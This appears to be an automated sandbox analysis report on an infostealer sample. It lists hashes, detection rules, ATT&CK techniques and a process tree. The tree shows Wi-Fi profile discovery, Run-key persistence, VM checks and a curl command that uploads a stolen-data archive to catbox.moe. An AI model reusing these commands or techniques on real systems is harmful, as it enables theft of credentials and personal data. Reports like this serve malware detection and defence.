b319d8cdedde4f0788f07043d09c690e6dc08b483cfaca04c7c254e64db9a124

Analysis

max time kernel
150s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/07/2026, 01:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
Size 99.0MB
Sample260730-bpn8eswfrd
SHA256 b319d8cdedde4f0788f07043d09c690e6dc08b483cfaca04c7c254e64db9a124
MD5 a4e2d4cfe8faceb393549908009ddc53
SHA1 9206cc28367e379bd648ba66e34bb45a008c470c
SHA512 fe1c6822c3d83b7b6d672754020e2f8facc4b4c610a796bdf756eda0af2ec7b3066c85331d2ba3481fa6efe525fb8b0bc3bd9981f4cffae8d1c81639aa936ab1
SSDEEP 393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYfv:fMguj8Q4Vfv6qFTrY
TLSH
T15C388C0773E600D5E5B7D2388AA75507D773B8638331CADF329D06152FABAD09A7A720
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Detects executables Discord URL observed in first stage droppers 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_EXE_DiscordURL

Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore

Detects executables containing possible sandbox analysis VM names 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_EXE_SandboxComputerNames

Detects executables containing possible sandbox analysis VM usernames 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_EXE_SandboxUserNames

Detects executables referencing many IR and analysis tools 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c5af-2.dat	INDICATOR_SUSPICIOUS_References_SecTools

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	UpdateHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	WinUpdate32.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	UpdateHost.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	WinUpdate32.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	UpdateHost.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	WinUpdate32.exe

Executes dropped EXE 2 IoCs

pid	Process
3376	UpdateHost.exe
1856	WinUpdate32.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Audio Update = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinUpdate32.exe"	UpdateHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Audio Update = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\WinUpdate32.exe"	WinUpdate32.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4220	cmd.exe
4472	cmd.exe
3392	cmd.exe
6128	cmd.exe
5136	cmd.exe
1228	cmd.exe
4596	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 8 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
6128	cmd.exe
4824	netsh.exe
4220	cmd.exe
3508	netsh.exe
4472	cmd.exe
5704	netsh.exe
3392	cmd.exe
4228	netsh.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	UpdateHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	UpdateHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	WinUpdate32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WinUpdate32.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\BIOS	UpdateHost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	UpdateHost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\BIOS	WinUpdate32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	WinUpdate32.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3376	UpdateHost.exe
3376	UpdateHost.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe
3376	UpdateHost.exe
3376	UpdateHost.exe
3376	UpdateHost.exe
3376	UpdateHost.exe
3376	UpdateHost.exe
3376	UpdateHost.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe
3376	UpdateHost.exe
3376	UpdateHost.exe
1856	WinUpdate32.exe
1856	WinUpdate32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	UpdateHost.exe
Token: SeDebugPrivilege	3376	UpdateHost.exe
Token: SeDebugPrivilege	1856	WinUpdate32.exe
Token: SeDebugPrivilege	1856	WinUpdate32.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3376	UpdateHost.exe
1856	WinUpdate32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3712 wrote to memory of 3376	3712	2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	89
PID 3712 wrote to memory of 4596	3712	2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe	90
PID 3376 wrote to memory of 4220	3376	UpdateHost.exe	93
PID 4220 wrote to memory of 3508	4220	cmd.exe	95
PID 1856 wrote to memory of 4472	1856	WinUpdate32.exe	97
PID 4472 wrote to memory of 5704	4472	cmd.exe	99
PID 3376 wrote to memory of 3392	3376	UpdateHost.exe	100
PID 3392 wrote to memory of 4228	3392	cmd.exe	102
PID 1856 wrote to memory of 6128	1856	WinUpdate32.exe	103
PID 6128 wrote to memory of 4824	6128	cmd.exe	105
PID 3376 wrote to memory of 5136	3376	UpdateHost.exe	106
PID 5136 wrote to memory of 5552	5136	cmd.exe	108
PID 1856 wrote to memory of 1228	1856	WinUpdate32.exe	110
PID 1228 wrote to memory of 3008	1228	cmd.exe	112

C:\Users\Admin\AppData\Local\Temp\2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-30_a4e2d4cfe8faceb393549908009ddc53_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Users\Admin\AppData\Local\Programs\Common\UpdateHost.exe
  C:\Users\Admin\AppData\Local\Programs\Common\UpdateHost.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Adds Run key to start application
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c netsh wlan show profiles
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3508
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c netsh wlan show profiles
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php > "C:\Users\Admin\AppData\Local\Temp\catbox_out_240775484.txt"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5136
  - - C:\Windows\system32\curl.exe
      curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php
      4⤵
      PID:5552
- C:\Windows\system32\cmd.exe
  cmd.exe /c C:\Users\Admin\AppData\Local\Temp\sys_clean_1b5ecf23.bat
  2⤵
  - Executes a command shell one-liner
  PID:4596

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate32.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinUpdate32.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c netsh wlan show profiles
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c netsh wlan show profiles
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:6128
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php > "C:\Users\Admin\AppData\Local\Temp\catbox_out_240795562.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1228
- - C:\Windows\system32\curl.exe
    curl.exe -s -F "reqtype=fileupload" -F "fileToUpload=@C:\Users\Admin\AppData\Local\Temp\output.zip" https://catbox.moe/user/api.php
    3⤵
    PID:3008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

UpdateHost.exe

Path C:\Users\Admin\AppData\Local\Programs\Common\UpdateHost.exe
Size 1.7MB
SHA256 243db168e81d28850cc6b7e0f33026fcf4e313cabdb433cf94062921ba9858a5
MD5 7dac13ac3f22c865efbbfbba865d144c
SHA1 4291ab07df36b4d8f021cf068c663760a8eb43c8
SHA512 a4f12080643b0e42b4f94e04e84548434e05c7e86b62b04753349d5ad46e8ad68ff70c6ca810f5d56c391e0db8d35d29b324a956844ba133ecad40aba39458f0
SSDEEP 24576:Az/UJGBsvZgYSMUSvpUtwEnmgPD6+MyRXIXstNzs+lmkWL2k8BxyYu:CUQBSZgYSMUSGBnHP25yRYXeNWIpo
TLSH
T1E4858E57A37800EDD1A7D1B9CE165607EB72B4091330AADF17D08AA62F13AE15F7E720
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cookies_early.zip

Path C:\Users\Admin\AppData\Local\Temp\cookies_early.zip
Size 476KB
SHA256 c4e9094afe640a30e24ec88caa019b816f08490087fb90bda19c642e39f37738
MD5 339df234fb72225f96cba47be0a2b760
SHA1 2e7440abae391ae18a4438d6d9dc99c3e5c882bb
SHA512 550871cd4a0dcb0d9e5e9d572852c9003165f257ccb91379d25a25710d957036408c5899940e14f66a5b8f504535d9d1e1852a17daf0fa511d7e376f58c0f123
SSDEEP 12288:1LmXIIPg2Ig4NiQ9ZE7n9BEOEfl4MZGgYkCP62kFkbN9no8JBMCp:1LAC5+EfZVV8jDnMc
TLSH
T15EA4126EE127C04ECC8E043D6EB105EB930AE452C57D24FE85389598CF41E6E9E5A71F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dummy.zip

Path C:\Users\Admin\AppData\Local\Temp\dummy.zip
Size 22B
SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
MD5 76cdb2bad9582d23c1f6f4d868218d6c
SHA1 b04f3ee8f5e43fa3b162981b50bb72fe1acabb33
SHA512 5e2f959f36b66df0580a94f384c5fc1ceeec4b2a3925f062d7b68f21758b86581ac2adcfdde73a171a28496e758ef1b23ca4951c05455cdae9357cc3b5a5825f
MD5 SHA1 SHA512

Submit Download

screen_tmp.png

Path C:\Users\Admin\AppData\Local\Temp\screen_tmp.png
Size 64KB
SHA256 abec2ed9cb3014c5918bf76fd9aa0e88123ef3ccfbc558181625151b3cbde052
MD5 d27907263dd1dd44f010dbf8f394e523
SHA1 6b8b5eca8b5f872031d78ad4f4a28435bd7f439a
SHA512 e1459fb5c0b053766b93dc1fb098bd632785401c337ebc975690e61aa0f954c7c19a39385afdc29c0639c71c77d8d1b69ec13139c84833ea74bcf3ff09cdaf78
SSDEEP 1536:0N8jP9aaAYHQ6QXh3Dyyk78Cfe2XT3Z8hNX4:S6PMGQ6QXh3bU8Ee2D3Z83X4
TLSH
T16853F15ABE0A41CEC6DF13BBCE350EC278A5A936ECB8ACD7195503D14904F8C72E5B25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

screen_tmp.png

Path C:\Users\Admin\AppData\Local\Temp\screen_tmp.png
Size 423KB
SHA256 c25337e814867b6436fe1c949e625ae6f01e4e34db1c06615b61b95376dcc86a
MD5 259ecc1e6eada23f117f4a62914fc431
SHA1 8bd051c99b06ab23a0ce70f0b7118bbd81fdc170
SHA512 49b249792c0932b02dfa3f3f6e431f9234c462e723bc6a200e37faa92e97b536e97632124facecdda7eb1a61c8ac533f0c89f14f843702775fcd7780c460e561
SSDEEP 12288:lLmXIIPg2Ig4NiQ9ZE7n9BEOEfl4MZGgYkCP62kFkbN9nx:lLAC5+EfZVV8jDnx
TLSH
T1AB94128EB237C48ECC8F002E6FB10AEB5346D466C47D25F981391AA4CE41E6D6D59B1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 507B
SHA256 77687825e4aff71e370d3f96b5a77f3ee1feb3bf3949736a578d28e72ed8a608
MD5 e2387a5eebacd368a8e377b987e1e590
SHA1 bd72ae64a9031e8fca5b047043b2256cfaea9eed
SHA512 189c9ec1fdaa7529c006dcb0b6db3e55373e10d9df13f5f8ebc70d00acca6818154ef52cf012c794348daeb8181f0c78110e215837382e63e4780724b75d40d9
TLSH
T135F062D5C3B005EA67F28AB745FE22982CFED7000F016DC174BE736C251045A62A39BD
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 705B
SHA256 69911830a75e308a561103c034db3d14f5a58fa64976b5a9648cb1e1bdeda61f
MD5 c733b3247ad909762def22ab9f17a919
SHA1 f3e08c7b7bd36b62e149b1e336a7797e395f7c44
SHA512 554ff1eee21159d2cf3605ed62b7dbeb3cab1d19e2010520fd1d87be4f2feaee24d0d601b13116834e34b48587ab1706ef1eb29537abe6614c11e8783e920416
TLSH
T14B01B5D5C3B005EB93F286B646FE229D2CFAD7110F012DC1787E736C195006662E39B9
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 1KB
SHA256 38cde50fecf3d6e6d26c003ea12e116f52f32967152b87111e8613faaf2b5dc1
MD5 b69e3e8cf1b8400f1b1ca5bd803d1e50
SHA1 c008fcb4f1cff22afbc18817f4e60f4246e13423
SHA512 91118687b22e1170576baf9ae5f2a93e47a4f2b0c773765d54825dd0821d8bdff5d47c3dcfc20cdf14230baea2c2b41a9df7c94814e7d0072a3cbc6e53e80a77
TLSH
T10721E595D3B614E693F297A201BD12ED2DB9CB100F062DC13D7EA35C1A610A662F3C79
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 1KB
SHA256 05d1424dfbf2c28b8e730037241320d6a479d5dd54240d72b6f8630e8c373e4e
MD5 233b0fa9e040b46ea4506d2d88cd9748
SHA1 9a834fdc5c68b94bf7380bf6492073c0ddc98fae
SHA512 57a9b1ea44dbebdc4891821a79cae60bec9241411b773ec1773957a7bd6bd719caa90b724edc92315d22009f4ef64f6780330ad7d0ac95dfbf5742f947633eac
TLSH
T11D31C45593B724E693F297A2016E01EE2DBDCF100F0B2DD03E6EA35C6A664A552F3835
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 1KB
SHA256 b251e00c74ecbe3b1d7f6879324cac8ea773d580d1b2473469f4691ec033ba2f
MD5 1fed5bed098489df4c4fbd9120def9e7
SHA1 b5bfa0c637dcf43208e5f524c26b7b1c792d8385
SHA512 eaee547678f13aaae5288c9a2dbe092ae54169db29640f488a93e3ab8c48dfb325b9e8959a5d4c79034dda1e2713c835d255a08b9e0c00794747df32bd921689
TLSH
T1C231A45593B724E693F297A2016D01EE2DB9CF100F0A2DD03E6EA35C6A654A552F3835
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 1KB
SHA256 4462aa30f3c68611d0fd84be20437f24a7aac2b77d9031e7e5a7316c14985c69
MD5 f7a313330cc6d67a9a010814c546591e
SHA1 00df1477fc983de0971f3beb034b743e2a5cad5f
SHA512 502d6976f143ac305fb61cf03a3ada8725637d2d0c0d22c7e5e0a9e2e3e3de88cab53f0119970a2151df5c401e69f238f0319b646eaf79adddaef784ac25ad62
TLSH
T16A31D65593B324E693F257A2017D02EE2D79CF200F0B2DD13E7DA35C6A654A552F3836
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 1KB
SHA256 0d27e1cd1ee77dbb90839ea1ef66a57eaef2ef26a84ee9d3a30163623139bbd4
MD5 f503feafb3d6e0e545e38948c1fd3ec0
SHA1 64fa80118e41f77e5505155df59879a066e254bd
SHA512 8438160f90d1fed98efc003f18e42ab1c4f2ced2ca22f0d08dbb40c798a6b4e0db0406d30aa341a1d979eb5abdca65f633276a70523cb2b8465de3c0648a2f63
TLSH
T1BD41C46593B324E683F257A2017D02EE2D79DF200F0A2DD03E7DA35C6A654A652F3836
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 2KB
SHA256 3a6e45b8975719b94878e44a361f7f6329ecf3c465edea61d50347d486d2d1c9
MD5 efb27d81409ea6b1db8d59cfb34109f4
SHA1 b396c4f573f04b2f7010a401bd0288a24bb29adc
SHA512 ba4d4c6381b349f66341cb78cefb5cd7340a2827163ec29e4efcd020ec4fc93e5f66d04518d5b4866ff93b1d1c2d7981a7222d4b210012e11d4532d54003b097
TLSH
T19241F655E3B361E643F256A2017911EE2DB9DF200F0B2DC53E3DA35C6A614A652F7832
MD5 SHA1 SHA512 TLSH

Submit Download

stealer_debug.log

Path C:\Users\Admin\AppData\Local\Temp\stealer_debug.log
Size 2KB
SHA256 47fd691633cb870599ced094410a4482cb25cb464a1c75918e6273f752748c75
MD5 b85baa3f4d21ffdc8ef5daf9439a9995
SHA1 d0bdf06bb3b21c1a8f1779f21e453c7dcd0b7539
SHA512 619008bd64d641d265791cf7beb6123f12c673e9950ebf0ec6c1ee5d54ebd317af6962ee0edac35d49816843ee11d52fe4d1a4e571ef0a6334708b5126100be1
TLSH
T154514851D3B3A1E943F153B2417912EE2DBCDF201F0A3EC52A3DA31D7A6146561F6832
MD5 SHA1 SHA512 TLSH

Submit Download

sys_clean_1b5ecf23.bat

Path C:\Users\Admin\AppData\Local\Temp\sys_clean_1b5ecf23.bat
Size 179B
SHA256 f7a67e4c228b805632d93de7cc6869bb6e266d665c84b69057e4806fb4b1d914
MD5 76973cb9bec6ca76df78dbd3e963867d
SHA1 162af53f05cc37d0c860ec8a8e5cb334d2ee15bb
SHA512 a126c0cb8c01cc65eb13f5e5d3fdca5313e89d3389d9008ea0d36fa29eb68ef626dd80c195110bd2839e643e6877accc1a7c7aced1318c27f2119d78d6477964
TLSH
T100C01246808781994585289E1E75A08751AD49913EC81541D206419E618D80FE0DF385
MD5 SHA1 SHA512 TLSH

Submit Download